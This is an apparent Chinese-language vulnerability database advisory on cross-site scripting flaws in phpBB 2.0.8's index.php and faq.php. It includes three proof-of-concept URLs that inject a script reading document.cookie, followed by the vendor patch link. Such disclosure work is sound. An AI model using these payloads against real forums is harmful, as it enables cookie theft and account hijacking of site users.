添加时间:
2005-08-17

系统编号:
WAVDB-00491
BUGTRAQ: 10738

影响版本:
phpBB 2.0.8-2.0.8a

程序介绍:

phpBB是一款由PHP编写的WEB论坛应用程序，支持多种数据库系统，可使用在多种Unix和Linux操作系统下。

漏洞分析:

phpBB多个脚本对用户提交URI输入缺少充分过滤，远程攻击者可以利用这个漏洞进行跨站脚本攻击，可能获得敏感信息。
phpBB包含的'index.php'和'faq.php'脚本不正确过滤用户提交的URI输入，提交包含恶意脚本代码的数据作为参数，当其他用户浏览时，可导致基于验证的敏感信息泄露。

漏洞利用:

B1 - XSS in "index.php":

http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1
&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);</script>
&category_rows[0][cat_order]=99

B2 - XSS in "language\lang_english\lang_faq.php":

http://localhost/phpbb208/faq.php?
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe

B3 - XSS in "language\lang_english\lang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&
faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq[0][1]=waraxe

解决方案:
厂商补丁：
phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
phpBB Group Upgrade phpBB-2.0.9.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.9.zip?download

信息来源:
<*来源：Janek Vind （come2waraxe@yahoo.com）
    链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108999024506020&w=2
*>